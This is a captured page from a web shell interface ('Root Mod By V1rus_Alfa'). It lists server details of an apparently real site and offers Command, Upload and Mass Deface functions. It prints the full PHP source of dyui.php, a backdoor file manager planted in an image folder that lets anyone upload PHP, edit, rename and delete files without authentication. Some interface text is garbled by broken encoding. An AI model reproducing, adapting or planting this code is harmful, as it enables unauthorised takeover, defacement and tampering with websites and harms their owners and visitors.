���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
npln.ir
/
assets
/
images
/
images
/
Viewing: dyui.php
?<?php error_reporting(E_ALL); ini_set('display_errors', 1); session_start(); define('ALLOWED_EXTENSIONS', ['jpg','jpeg','png','gif','txt','pdf','zip','php','html','css','js','json','sql']); $currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$currentPath || !is_dir($currentPath)) $currentPath = getcwd(); $item = $_GET['item'] ?? null; $itemPath = $item ? $currentPath . DIRECTORY_SEPARATOR . basename($item) : null; $action = $_GET['action'] ?? null; /* ------------------ YARDIMCI FONKS?YONLAR ------------------ */ function sizeFormat($bytes) { if ($bytes >= 1048576) return round($bytes/1048576,2)." MB"; if ($bytes >= 1024) return round($bytes/1024,2)." KB"; return $bytes." B"; } function backLink($path){ echo "<a href='?path=".urlencode(dirname($path))."'>?? Yukar?</a>"; } function redirect($path){ header("Location: ?path=".urlencode($path)); exit; } /* ------------------ POST ??LEMLER? ------------------ */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { try { // DOSYA Y��KLE if (!empty($_FILES['file']['name'])) { $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, ALLOWED_EXTENSIONS)) throw new Exception("Uzant?ya izin yok!"); move_uploaded_file($_FILES['file']['tmp_name'], $currentPath."/".basename($_FILES['file']['name'])); } // KLAS?R OLU?TUR if (!empty($_POST['folder'])) { mkdir($currentPath."/".basename($_POST['folder']),0755,true); } // DOSYA OLU?TUR if (!empty($_POST['file']) && isset($_POST['content'])) { file_put_contents( $currentPath."/".basename($_POST['file']), $_POST['content'] ); } // YEN?DEN ADLANDIR if (!empty($_POST['rename']) && $itemPath) { rename($itemPath, $currentPath."/".basename($_POST['rename'])); } redirect($currentPath); } catch(Exception $e) { echo "<p style='color:red'>{$e->getMessage()}</p>"; } } /* ------------------ ACTION ??LEMLER? ------------------ */ if ($action && $itemPath) { if ($action === 'delete') { is_dir($itemPath) ? rmdir($itemPath) : unlink($itemPath); redirect($currentPath); } if ($action === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit'])) { file_put_contents($itemPath, $_POST['edit']); redirect($currentPath); } $content = htmlspecialchars(file_get_contents($itemPath)); echo "<h3>D��zenle: ".basename($itemPath)."</h3> <form method='POST'> <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>$content</textarea><br><br> <button>Kaydet</button> </form>"; backLink($currentPath); exit; } if ($action === 'rename') { echo "<h3>Yeniden Adland?r</h3> <form method='POST'> <input type='text' name='rename' value='".basename($itemPath)."' required> <button>Kaydet</button> </form>"; backLink($currentPath); exit; } } /* ------------------ ANA EKRAN ------------------ */ echo "<h2>Mevcut Konum: ".htmlspecialchars($currentPath)."</h2>"; backLink($currentPath); echo "<hr>"; $files = array_diff(scandir($currentPath),['.','..']); echo "<ul>"; foreach ($files as $f) { $full = $currentPath."/".$f; $icon = is_dir($full) ? "??" : "??"; echo "<li>$icon "; if (is_dir($full)) { echo "<a href='?path=".urlencode($full)."'>$f</a>"; } else { echo "<b>$f</b> (".sizeFormat(filesize($full)).")"; echo " [<a href='?path=".urlencode($currentPath)."&action=edit&item=$f'>Edit</a>]"; echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f'>Sil</a>]"; echo " [<a href='?path=".urlencode($currentPath)."&action=rename&item=$f'>Adland?r</a>]"; } echo "</li>"; } echo "</ul>"; echo "<hr>"; ?> <h3>Dosya Y��kle</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required> <button>Y��kle</button> </form> <h3>Klas?r Olu?tur</h3> <form method="POST"> <input type="text" name="folder" required> <button>Olu?tur</button> </form> <h3>Dosya Olu?tur</h3> <form method="POST"> <input type="text" name="file" required><br><br> <textarea name="content" style="width:300px;height:80px"></textarea><br> <button>Kaydet</button> </form>
Coded With 💗 by
0x6ick Mod By V1rus_Alfa